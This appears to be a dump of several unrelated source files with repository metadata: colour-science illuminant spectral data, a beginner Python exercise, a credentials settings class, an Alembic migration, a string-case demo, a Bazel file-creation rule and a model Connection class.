425: 5.19,
430: 5.89,
435: 7.39,
440: 7.89,
445: 5.69,
450: 12.89,
455: 6.69,
460: 4.30,
465: 20.78,
470: 12.99,
475: 6.69,
480: 1.40,
485: 1.50,
490: 3.20,
495: 18.18,
500: 56.24,
505: 2.90,
510: 2.10,
515: 13.39,
520: 2.10,
525: 2.00,
530: 2.20,
535: 2.30,
540: 2.60,
545: 5.10,
550: 11.39,
555: 15.48,
560: 20.78,
565: 55.64,
570: 254.03,
575: 56.14,
580: 111.78,
585: 297.98,
590: 142.55,
595: 334.84,
600: 189.40,
605: 117.78,
610: 79.92,
615: 108.09,
620: 46.85,
625: 38.16,
630: 32.47,
635: 28.37,
640: 25.37,
645: 22.98,
650: 20.38,
655: 19.78,
660: 17.78,
665: 16.78,
670: 19.18,
675: 17.98,
680: 13.69,
685: 9.99,
690: 8.19,
695: 7.59,
700: 6.99,
705: 6.79,
710: 6.49,
715: 6.39,
720: 6.09,
725: 5.99,
730: 5.79,
735: 5.79,
740: 5.79,
745: 5.79,
750: 6.39,
755: 5.99,
760: 5.59,
765: 31.97,
770: 27.87,
775: 5.89,
780: 6.69
},
'HP2': {
380: 2.64,
385: 2.77,
390: 3.42,
395: 3.68,
400: 4.33,
405: 5.50,
410: 5.94,
415: 7.20,
420: 9.02,
425: 10.27,
430: 12.48,
435: 16.82,
440: 16.04,
445: 15.26,
450: 22.58,
455: 20.07,
460: 15.13,
465: 25.27,
470: 28.04,
475: 15.99,
480: 10.40,
485: 11.10,
490: 13.44,
495: 22.62,
500: 49.71,
505: 17.21,
510: 17.12,
515: 27.26,
520: 20.02,
525: 21.54,
530: 23.36,
535: 25.66,
540: 29.69,
545: 43.12,
550: 98.30,
555: 125.60,
560: 134.57,
565: 149.70,
570: 166.12,
575: 98.77,
580: 30.47,
585: 1.17,
590: 0.39,
595: 1.65,
600: 21.41,
605: 76.11,
610: 126.16,
615: 161.96,
620: 160.06,
625: 158.19,
630: 153.69,
635: 147.40,
640: 140.60,
645: 134.92,
650: 127.59,
655: 124.65,
660: 118.02,
665: 113.94,
670: 118.10,
675: 115.16,
680: 102.85,
685: 90.54,
690: 83.34,
695: 79.44,
700: 76.97,
705: 74.85,
710: 73.12,
715: 71.51,
720: 70.13,
725: 69.04,
730: 67.48,
735: 66.70,
740: 66.31,
745: 65.14,
750: 65.70,
755: 64.79,
760: 64.10,
765: 83.04,
770: 86.25,
775: 63.93,
780: 64.92
},
'HP3': {
380: 3.15,
385: 7.49,
390: 10.87,
395: 12.57,
400: 12.97,
405: 21.29,
410: 26.29,
415: 30.18,
420: 43.06,
425: 29.58,
430: 23.18,
435: 35.28,
440: 26.29,
445: 24.29,
450: 22.91,
455: 26.20,
460: 29.31,
465: 25.30,
470: 28.14,
475: 24.05,
480: 21.82,
485: 20.51,
490: 23.05,
495: 26.98,
500: 30.96,
505: 30.72,
510: 27.13,
515: 29.55,
520: 34.22,
525: 29.98,
530: 41.21,
535: 173.14,
540: 141.37,
545: 64.98,
550: 33.83,
555: 34.26,
560: 33.32,
565: 52.80,
570: 74.29,
575: 47.97,
580: 49.20,
585: 96.07,
590: 85.41,
595: 175.18,
600: 153.73,
605: 120.22,
610: 98.90,
615: 90.22,
620: 70.07,
625: 66.84,
630: 57.61,
635: 53.03,
640: 49.85,
645: 48.16,
650: 42.76,
655: 50.64,
660: 48.42,
665: 41.27,
670: 43.44,
675: 40.48,
680: 35.16,
685: 34.94,
690: 24.68,
695: 24.70,
700: 21.49,
705: 19.49,
710: 18.48,
715: 17.55,
720: 17.36,
725: 17.09,
730: 16.32,
735: 16.07,
740: 16.58,
745: 15.78,
750: 17.66,
755: 20.46,
760: 16.59,
765: 17.81,
770: 16.07,
775: 14.83,
780: 14.61
},
'HP4': {
380: 9.80,
385: 13.30,
390: 19.97,
395: 25.81,
400: 24.69,
405: 47.66,
410: 54.44,
415: 63.82,
420: 85.52,
425: 60.54,
430: 38.37,
435: 88.20,
440: 44.94,
445: 35.64,
450: 30.75,
455: 33.77,
460: 40.81,
465: 33.77,
470: 35.28,
475: 32.55,
480: 29.44,
485: 26.16,
490: 29.96,
495: 32.83,
500: 33.58,
505: 41.16,
510: 32.93,
515: 32.13,
520: 34.45,
525: 30.12,
530: 41.13,
535: 187.10,
540: 101.37,
545: 123.96,
550: 42.47,
555: 34.73,
560: 31.82,
565: 54.67,
570: 57.45,
575: 70.43,
580: 69.50,
585: 49.37,
590: 183.35,
595: 162.15,
600: 109.35,
605: 72.38,
610: 70.60,
615: 58.08,
620: 44.13,
625: 50.20,
630: 40.80,
635: 37.91,
640: 36.71,
645: 38.30,
650: 31.24,
655: 35.31,
660: 45.62,
665: 35.82,
670: 89.91,
675: 36.01,
680: 32.57,
685: 39.26,
690: 23.27,
695: 25.30,
700: 20.02,
705: 17.54,
710: 16.25,
715: 15.20,
720: 15.15,
725: 15.22,
730: 14.26,
735: 12.63,
740: 14.75,
745: 13.19,
750: 17.63,
755: 23.38,
760: 16.02,
765: 24.46,
770: 22.05,
775: 16.11,
780: 12.91
},
'HP5': {
380: 0.34,
385: 7.11,
390: 11.49,
395: 14.97,
400: 14.95,
405: 29.14,
410: 38.08,
415: 51.56,
420: 62.56,
425: 55.61,
430: 41.98,
435: 50.02,
440: 42.14,
445: 39.04,
450: 40.52,
455: 45.29,
460: 51.01,
465: 49.18,
470: 49.05,
475: 46.12,
480: 45.73,
485: 39.46,
490: 44.39,
495: 46.14,
500: 49.54,
505: 59.76,
510: 48.47,
515: 48.38,
520: 48.70,
525: 44.25,
530: 54.42,
535: 128.93,
540: 81.26,
545: 67.36,
550: 48.48,
555: 51.41,
560: 48.88,
565: 68.52,
570: 80.85,
575: 65.96,
580: 59.43,
585: 67.57,
590: 128.34,
595: 131.85,
600: 101.70,
605: 77.05,
610: 66.27,
615: 77.09,
620: 60.51,
625: 65.23,
630: 57.86,
635: 56.20,
640: 54.32,
645: 56.34,
650: 45.74,
655: 50.79,
660: 56.66,
665: 51.99,
670: 84.31,
675: 47.48,
680: 47.46,
685: 61.78,
690: 34.51,
695: 38.74,
700: 30.98,
705: 25.45,
710: 22.88,
715: 20.82,
720: 21.05,
725: 20.81,
730: 18.69,
735: 17.54,
740: 19.58,
745: 16.42,
750: 23.77,
755: 35.39,
760: 21.37,
765: 34.58,
770: 30.21,
775: 19.71,
780: 15.61
}
}
ILLUMINANTS_SDS = CaseInsensitiveMapping({
'A':
SpectralDistribution(ILLUMINANTS_SDS_DATA['A'], name='A'),
'B':
SpectralDistribution(ILLUMINANTS_SDS_DATA['B'], name='B'),
'C':
SpectralDistribution(ILLUMINANTS_SDS_DATA['C'], name='C'),
'D50':
SpectralDistribution(ILLUMINANTS_SDS_DATA['D50'], name='D50'),
'D55':
SpectralDistribution(ILLUMINANTS_SDS_DATA['D55'], name='D55'),
'D60':
SpectralDistribution(ILLUMINANTS_SDS_DATA['D60'], name='D60'),
'D65':
SpectralDistribution(ILLUMINANTS_SDS_DATA['D65'], name='D65'),
'D75':
SpectralDistribution(ILLUMINANTS_SDS_DATA['D75'], name='D75'),
'E':
SpectralDistribution(ILLUMINANTS_SDS_DATA['E'], name='E'),
'FL1':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL1'], name='FL1'),
'FL2':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL2'], name='FL2'),
'FL3':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3'], name='FL3'),
'FL4':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL4'], name='FL4'),
'FL5':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL5'], name='FL5'),
'FL6':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL6'], name='FL6'),
'FL7':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL7'], name='FL7'),
'FL8':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL8'], name='FL8'),
'FL9':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL9'], name='FL9'),
'FL10':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL10'], name='FL10'),
'FL11':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL11'], name='FL11'),
'FL12':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL12'], name='FL12'),
'FL3.1':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.1'], name='FL3.1'),
'FL3.2':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.2'], name='FL3.2'),
'FL3.3':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.3'], name='FL3.3'),
'FL3.4':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.4'], name='FL3.4'),
'FL3.5':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.5'], name='FL3.5'),
'FL3.6':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.6'], name='FL3.6'),
'FL3.7':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.7'], name='FL3.7'),
'FL3.8':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.8'], name='FL3.8'),
'FL3.9':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.9'], name='FL3.9'),
'FL3.10':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.10'], name='FL3.10'),
'FL3.11':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.11'], name='FL3.11'),
'FL3.12':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.12'], name='FL3.12'),
'FL3.13':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.13'], name='FL3.13'),
'FL3.14':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.14'], name='FL3.14'),
'FL3.15':
SpectralDistribution(ILLUMINANTS_SDS_DATA['FL3.15'], name='FL3.15'),
'HP1':
SpectralDistribution(ILLUMINANTS_SDS_DATA['HP1'], name='HP1'),
'HP2':
SpectralDistribution(ILLUMINANTS_SDS_DATA['HP2'], name='HP2'),
'HP3':
SpectralDistribution(ILLUMINANTS_SDS_DATA['HP3'], name='HP3'),
'HP4':
SpectralDistribution(ILLUMINANTS_SDS_DATA['HP4'], name='HP4'),
'HP5':
SpectralDistribution(ILLUMINANTS_SDS_DATA['HP5'], name='HP5')
})
ILLUMINANTS_SDS.__doc__ = """
*CIE* illuminants spectral distributions.
Notes
-----
*CIE Illuminant D Series D60* illuminant spectral distribution was
computed as follows::
CCT = 6000 * 1.4388 / 1.438
xy = colour.temperature.CCT_to_xy_CIE_D(CCT)
sd = colour.sd_CIE_illuminant_D_series(xy)
References
----------
:cite:`CIEce`, :cite:`CIEcf`
ILLUMINANTS_SDS : CaseInsensitiveMapping
"""
# *CIE 15:2004* recommends using linear interpolation for
# *CIE Standard Illuminant D Series*, for consistency all the illuminants are
# using a linear interpolator.
for _sd in ILLUMINANTS_SDS.values():
_sd.interpolator = LinearInterpolator
| 20.966738 | 78 | 0.389553 | 11,124 | 78,164 | 2.72438 | 0.091694 | 0.019798 | 0.02554 | 0.051409 | 0.039794 | 0.008315 | 0.005675 | 0.005675 | 0.005675 | 0.005675 | 0 | 0.630168 | 0.462771 | 78,164 | 3,727 | 79 | 20.972364 | 0.091541 | 0.021199 | 0 | 0.019094 | 0 | 0 | 0.015766 | 0.001752 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.001091 | 0 | 0.001091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c7df86e933383976a45c7e6d0993c1ac361acf0e | 143 | py | Python | 50-desafio.py | SweydAbdul/EstudosPythonCeV | 5eb61d4e1d47b99d57de776c835aa9f3c2bcee3b | [
"MIT"
] | null | null | null | 50-desafio.py | SweydAbdul/EstudosPythonCeV | 5eb61d4e1d47b99d57de776c835aa9f3c2bcee3b | [
"MIT"
] | null | null | null | 50-desafio.py | SweydAbdul/EstudosPythonCeV | 5eb61d4e1d47b99d57de776c835aa9f3c2bcee3b | [
"MIT"
] | null | null | null | s = 0
for c in range(0, 6):
n = int(input('Digite numero inteiro: '))
if n%2==0:
s += n
print(f'A soma dos valores par e {s}') | 23.833333 | 45 | 0.531469 | 29 | 143 | 2.62069 | 0.793103 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.049505 | 0.293706 | 143 | 6 | 46 | 23.833333 | 0.70297 | 0 | 0 | 0 | 0 | 0 | 0.354167 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.166667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
c7e59d5fdf9819003da5019edeb0ff6bb6661297 | 10,500 | py | Python | heimdallr/configuration/heimdallr_settings.py | aivclab/heimdallr | 145111cb46f8cb1767d3d3adc78baa3d10be33fb | [
"Apache-2.0"
] | 2 | 2020-03-28T12:58:00.000Z | 2021-12-08T13:13:10.000Z | heimdallr/configuration/heimdallr_settings.py | aivclab/heimdallr | 145111cb46f8cb1767d3d3adc78baa3d10be33fb | [
"Apache-2.0"
] | null | null | null | heimdallr/configuration/heimdallr_settings.py | aivclab/heimdallr | 145111cb46f8cb1767d3d3adc78baa3d10be33fb | [
"Apache-2.0"
] | 2 | 2020-12-04T12:31:38.000Z | 2021-08-09T11:48:34.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
__author__ = "Christian Heider Nielsen"
__doc__ = r"""
Created on 17/03/2020
"""
import getpass
import inspect
import os
import shelve
from enum import Enum
from typing import Optional
try:
import sh
except:
pass
from sorcery import assigned_names
from apppath import ensure_existence
from heimdallr import PROJECT_APP_PATH
from warg import PropertySettings, is_windows
__all__ = [
"HeimdallrSettings", # Setting Class
"SettingScopeEnum", # Setting scope Enum
"set_all_heimdallr_settings", # Set settings function
]
# PropertySettings.raise_exception_on_none = False
class SettingScopeEnum(Enum):
""" """
user, site, root = assigned_names()
class HeimdallrSettings(PropertySettings):
""" """
_setting_scope = None
_google_settings_path = None
_mqtt_settings_path = None
_github_settings_path = None
_credentials_base_path = None
_look_up_env_on_missing = True
def __init__(self, setting_scope: SettingScopeEnum = SettingScopeEnum.user):
"""Protects from overriding on initialisation"""
pass
# super().__init__()
# TODO: FIGURE OUT A WAY TO EASILY COPY SETTINGS TO ROOT; for services
# print(f'Using settings from {PROJECT_APP_PATH.user_config}')
_setting_scope = setting_scope
if setting_scope == SettingScopeEnum.user or is_windows():
HeimdallrSettings._credentials_base_path = ensure_existence(
PROJECT_APP_PATH.user_config / "credentials"
)
HeimdallrSettings._google_settings_path = str(
ensure_existence(PROJECT_APP_PATH.user_config) / "google.settings"
)
HeimdallrSettings._mqtt_settings_path = str(
ensure_existence(PROJECT_APP_PATH.user_config) / "mqtt.settings"
)
HeimdallrSettings._github_settings_path = str(
ensure_existence(PROJECT_APP_PATH.user_config) / "github.settings"
)
# print(f'Using config at {PROJECT_APP_PATH.site_config}')
elif setting_scope == SettingScopeEnum.site:
prev_val = PROJECT_APP_PATH._ensure_existence
PROJECT_APP_PATH._ensure_existence = False
HeimdallrSettings._credentials_base_path = (
PROJECT_APP_PATH.site_config / "credentials"
)
if not HeimdallrSettings._credentials_base_path.exists():
with sh.contrib.sudo(
password=getpass.getpass(
prompt=f"[sudo] password for {getpass.getuser()}: "
),
_with=True,
):
sh.mkdir(["-p", HeimdallrSettings._credentials_base_path])
sh.chown(
f"{getpass.getuser()}:", PROJECT_APP_PATH.site_config
) # If a colon but no group name follows the user name, that user is made the owner of the files and the group of the files is changed to that user's login group.
PROJECT_APP_PATH._ensure_existence = prev_val
HeimdallrSettings._google_settings_path = str(
ensure_existence(PROJECT_APP_PATH.site_config) / "google.settings"
)
HeimdallrSettings._mqtt_settings_path = str(
ensure_existence(PROJECT_APP_PATH.site_config) / "mqtt.settings"
)
HeimdallrSettings._github_settings_path = str(
ensure_existence(PROJECT_APP_PATH.site_config) / "github.settings"
)
# print(f'Using config at {PROJECT_APP_PATH.site_config}')
elif setting_scope == SettingScopeEnum.root:
prev_val = PROJECT_APP_PATH._ensure_existence
PROJECT_APP_PATH._ensure_existence = False
HeimdallrSettings._credentials_base_path = (
PROJECT_APP_PATH.root_config / "credentials"
)
if not HeimdallrSettings._credentials_base_path.exists():
with sh.contrib.sudo(
password=getpass.getpass(
prompt=f"[sudo] password for {getpass.getuser()}: "
),
_with=True,
):
sh.mkdir(["-p", HeimdallrSettings._credentials_base_path])
sh.chown(
f"{getpass.getuser()}:", PROJECT_APP_PATH.root_config
) # If a colon but no group name follows the user name, that user is made the owner of the files and the group of the files is changed to that user's login group.
PROJECT_APP_PATH._ensure_existence = prev_val
HeimdallrSettings._google_settings_path = str(
ensure_existence(PROJECT_APP_PATH.root_config) / "google.settings"
)
HeimdallrSettings._mqtt_settings_path = str(
ensure_existence(PROJECT_APP_PATH.root_config) / "mqtt.settings"
)
HeimdallrSettings._github_settings_path = str(
ensure_existence(PROJECT_APP_PATH.root_config) / "github.settings"
)
# print(f'Using config at {PROJECT_APP_PATH.site_config}')
else:
raise ValueError()
@property
def google_calendar_id(self) -> Optional[str]:
""" """
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._google_settings_path) as d:
if key in d:
return d[key]
if self._look_up_env_on_missing:
return os.environ.get(key)
return None
@google_calendar_id.setter
def google_calendar_id(self, calendar_id: str) -> None:
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._google_settings_path, writeback=True) as d:
d[key] = calendar_id
@property
def github_token(self) -> Optional[str]:
""" """
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._github_settings_path) as d:
if key in d:
return d[key]
if self._look_up_env_on_missing:
return os.environ.get(key)
return None
@github_token.setter
def github_token(self, calendar_id: str) -> None:
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._github_settings_path, writeback=True) as d:
d[key] = calendar_id
@property
def mqtt_access_token(self) -> Optional[str]:
""" """
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._mqtt_settings_path) as d:
if key in d:
return d[key]
if self._look_up_env_on_missing:
return os.environ.get(key)
return None
@mqtt_access_token.setter
def mqtt_access_token(self, token: str) -> None:
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._mqtt_settings_path, writeback=True) as d:
d[key] = token
@property
def mqtt_username(self) -> Optional[str]:
""" """
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._mqtt_settings_path) as d:
if key in d:
return d[key]
if self._look_up_env_on_missing:
return os.environ.get(key)
return None
@mqtt_username.setter
def mqtt_username(self, username: str) -> None:
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._mqtt_settings_path, writeback=True) as d:
d[key] = username
@property
def mqtt_password(self) -> Optional[str]:
""" """
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._mqtt_settings_path) as d:
if key in d:
return d[key]
if self._look_up_env_on_missing:
return os.environ.get(key)
return None
@mqtt_password.setter
def mqtt_password(self, password: str) -> None:
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._mqtt_settings_path, writeback=True) as d:
d[key] = password
@property
def mqtt_broker(self) -> Optional[str]:
""" """
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._mqtt_settings_path) as d:
if key in d:
return d[key]
if self._look_up_env_on_missing:
return os.environ.get(key)
return None
@mqtt_broker.setter
def mqtt_broker(self, broker: str) -> None:
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._mqtt_settings_path, writeback=True) as d:
d[key] = broker
@property
def mqtt_port(self) -> Optional[str]:
""" """
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._mqtt_settings_path) as d:
if key in d:
return d[key]
if self._look_up_env_on_missing:
return os.environ.get(key)
return None
@mqtt_port.setter
def mqtt_port(self, port: int) -> None:
key = inspect.currentframe().f_code.co_name
with shelve.open(HeimdallrSettings._mqtt_settings_path, writeback=True) as d:
d[key] = port
def set_all_heimdallr_settings(
setting_scope: SettingScopeEnum = SettingScopeEnum.user,
*,
_lower_keys: bool = True,
**kwargs,
):
""" """
HEIMDALLR_SETTINGS = HeimdallrSettings(setting_scope)
# print(f"current heimdallr settings: {HEIMDALLR_SETTINGS}")
if _lower_keys:
kwargs = {k.lower(): v for k, v in kwargs.items()}
# for k in kwargs.keys():
# assert k in HEIMDALLR_SETTINGS, f'"{k}" is not in Heimdallrs settings'
for k in HEIMDALLR_SETTINGS:
assert k in kwargs.keys(), f'Missing "{k}" from kwargs'
HEIMDALLR_SETTINGS.__from_dict__(kwargs)
print(f"new heimdallr settings: {HeimdallrSettings()}")
if __name__ == "__main__":
settings = HeimdallrSettings()
for k in settings:
print(k, settings[k])
"""
set_all_heimdallr_settings(
**{
k: getattr(settings, k) if getattr(settings, k) else None
for k in iter(settings)
}
)
"""
| 35.472973 | 183 | 0.622667 | 1,208 | 10,500 | 5.108444 | 0.135762 | 0.050559 | 0.056717 | 0.05218 | 0.703614 | 0.667315 | 0.666667 | 0.660347 | 0.660347 | 0.660347 | 0 | 0.001341 | 0.289619 | 10,500 | 295 | 184 | 35.59322 | 0.825982 | 0.09381 | 0 | 0.484018 | 0 | 0 | 0.053537 | 0.005083 | 0 | 0 | 0 | 0.00339 | 0.004566 | 1 | 0.073059 | false | 0.059361 | 0.050228 | 0 | 0.255708 | 0.009132 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
c7ea2d6b2b01f0201d70ff9af30234e2f4c3789b | 1,488 | py | Python | rdr_service/alembic/versions/4a9ceee64d0b_add_obsolete_columns.py | all-of-us/raw-data-repository | d28ad957557587b03ff9c63d55dd55e0508f91d8 | [
"BSD-3-Clause"
] | 39 | 2017-10-13T19:16:27.000Z | 2021-09-24T16:58:21.000Z | rdr_service/alembic/versions/4a9ceee64d0b_add_obsolete_columns.py | all-of-us/raw-data-repository | d28ad957557587b03ff9c63d55dd55e0508f91d8 | [
"BSD-3-Clause"
] | 312 | 2017-09-08T15:42:13.000Z | 2022-03-23T18:21:40.000Z | rdr_service/alembic/versions/4a9ceee64d0b_add_obsolete_columns.py | all-of-us/raw-data-repository | d28ad957557587b03ff9c63d55dd55e0508f91d8 | [
"BSD-3-Clause"
] | 19 | 2017-09-15T13:58:00.000Z | 2022-02-07T18:33:20.000Z | """add obsolete columns
Revision ID: 4a9ceee64d0b
Revises: 69453413dfc3
Create Date: 2018-07-13 09:52:49.048544
"""
import model.utils
import sqlalchemy as sa
from alembic import op
from rdr_service.model.site_enums import ObsoleteStatus
# revision identifiers, used by Alembic.
revision = "4a9ceee64d0b"
down_revision = "69453413dfc3"
branch_labels = None
depends_on = None
def upgrade(engine_name):
globals()["upgrade_%s" % engine_name]()
def downgrade(engine_name):
globals()["downgrade_%s" % engine_name]()
def upgrade_rdr():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column("hpo", sa.Column("is_obsolete", model.utils.Enum(ObsoleteStatus), nullable=True))
op.add_column("organization", sa.Column("is_obsolete", model.utils.Enum(ObsoleteStatus), nullable=True))
op.add_column("site", sa.Column("is_obsolete", model.utils.Enum(ObsoleteStatus), nullable=True))
# ### end Alembic commands ###
def downgrade_rdr():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_column("site", "is_obsolete")
op.drop_column("organization", "is_obsolete")
op.drop_column("hpo", "is_obsolete")
# ### end Alembic commands ###
def upgrade_metrics():
# ### commands auto generated by Alembic - please adjust! ###
pass
# ### end Alembic commands ###
def downgrade_metrics():
# ### commands auto generated by Alembic - please adjust! ###
pass
# ### end Alembic commands ###
| 27.054545 | 108 | 0.699597 | 184 | 1,488 | 5.51087 | 0.342391 | 0.059172 | 0.08284 | 0.09073 | 0.510848 | 0.426036 | 0.426036 | 0.426036 | 0.426036 | 0.333333 | 0 | 0.038431 | 0.160618 | 1,488 | 54 | 109 | 27.555556 | 0.773419 | 0.306452 | 0 | 0.083333 | 0 | 0 | 0.155119 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.083333 | 0.166667 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
1becdd83609e0dd94e3051f6fb367e2cbc652221 | 178 | py | Python | Textbook/Chapter 1/stringCaps.py | hunterluepke/Learn-Python-for-Stats-and-Econ | d580a8e27ba937fc8401ac6d0714b6488ac8bbb6 | [
"MIT"
] | 16 | 2019-01-10T18:54:13.000Z | 2022-01-28T20:07:20.000Z | Textbook/Chapter 1/stringCaps.py | hunterluepke/Learn-Python-for-Stats-and-Econ | d580a8e27ba937fc8401ac6d0714b6488ac8bbb6 | [
"MIT"
] | null | null | null | Textbook/Chapter 1/stringCaps.py | hunterluepke/Learn-Python-for-Stats-and-Econ | d580a8e27ba937fc8401ac6d0714b6488ac8bbb6 | [
"MIT"
] | 15 | 2019-01-24T17:11:20.000Z | 2021-12-11T01:53:57.000Z | #stringCaps.py
msg = "john nash"
print(msg)
# ALL CAPS
msg_upper = msg.upper()
print(msg_upper)
# First Letter Of Each Word Capitalized
msg_title = msg.title()
print(msg_title) | 16.181818 | 39 | 0.741573 | 29 | 178 | 4.413793 | 0.551724 | 0.1875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.140449 | 178 | 11 | 40 | 16.181818 | 0.836601 | 0.337079 | 0 | 0 | 0 | 0 | 0.077586 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
1befd9d1dad7ce0bcc65296a7c4ae9419da7632a | 177 | bzl | Python | source/bazel/rules/system/create_500M_file.bzl | luxe/CodeLang-compiler | 78837d90bdd09c4b5aabbf0586a5d8f8f0c1e76a | [
"MIT"
] | 33 | 2019-05-30T07:43:32.000Z | 2021-12-30T13:12:32.000Z | source/bazel/rules/system/create_500M_file.bzl | luxe/CodeLang-compiler | 78837d90bdd09c4b5aabbf0586a5d8f8f0c1e76a | [
"MIT"
] | 371 | 2019-05-16T15:23:50.000Z | 2021-09-04T15:45:27.000Z | source/bazel/rules/system/create_500M_file.bzl | UniLang/compiler | c338ee92994600af801033a37dfb2f1a0c9ca897 | [
"MIT"
] | 6 | 2019-08-22T17:37:36.000Z | 2020-11-07T07:15:32.000Z | def create_500M_file(name):
native.genrule(
name = name + "_target",
outs = [name],
output_to_bindir = 1,
cmd = "truncate -s 500M $@",
)
| 22.125 | 36 | 0.519774 | 20 | 177 | 4.35 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.060345 | 0.344633 | 177 | 7 | 37 | 25.285714 | 0.689655 | 0 | 0 | 0 | 0 | 0 | 0.146893 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0 | 0 | 0.142857 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1bf20c62b26af50002fd19b60ca2d532ffddee06 | 1,360 | py | Python | src/model/connection.py | volpatto/sloth | 7f622c5afe74a9be198024b8554519f5759b25ac | [
"MIT"
] | null | null | null | src/model/connection.py | volpatto/sloth | 7f622c5afe74a9be198024b8554519f5759b25ac | [
"MIT"
] | null | null | null | src/model/connection.py | volpatto/sloth | 7f622c5afe74a9be198024b8554519f5759b25ac | [
"MIT"
] | null | null | null | """
Define Connection class.
- Special type of Equation that are used as source or sink terms (process inlet or outlet, respectively) or to connect two different Model objects.
"""
from core.Equation import *
class base_(object):
pass
class Connection(base_,Equation):
def __init__(self, name, description, connection_type = 'source', fast_expr = None):
super(self.__class__,self).__init__(name, description, fast_expr)
"""
Inidial definitions.
:param str name:
Name for the current equation
:param str description:
Description for the present equation. Defauls to ""
:param str connection_type:
Type of the connection. Options are 'source', when a source term is declared (eg: process inlet); 'sink', when a sink term is declared (eq: process outlet); 'input', when a input from the other model output is declared (thus, a source term coming from the sink term from another model); 'output', when a output the output of a model is declared (used as input by another model). Defaults to 'source'.
:param ExpressionTree fast_expr:
ExpressionTree object to declare for the current Equation object. If declared, the moethod '.setResidual' are executed as a shortcut. Defaults to None.
"""
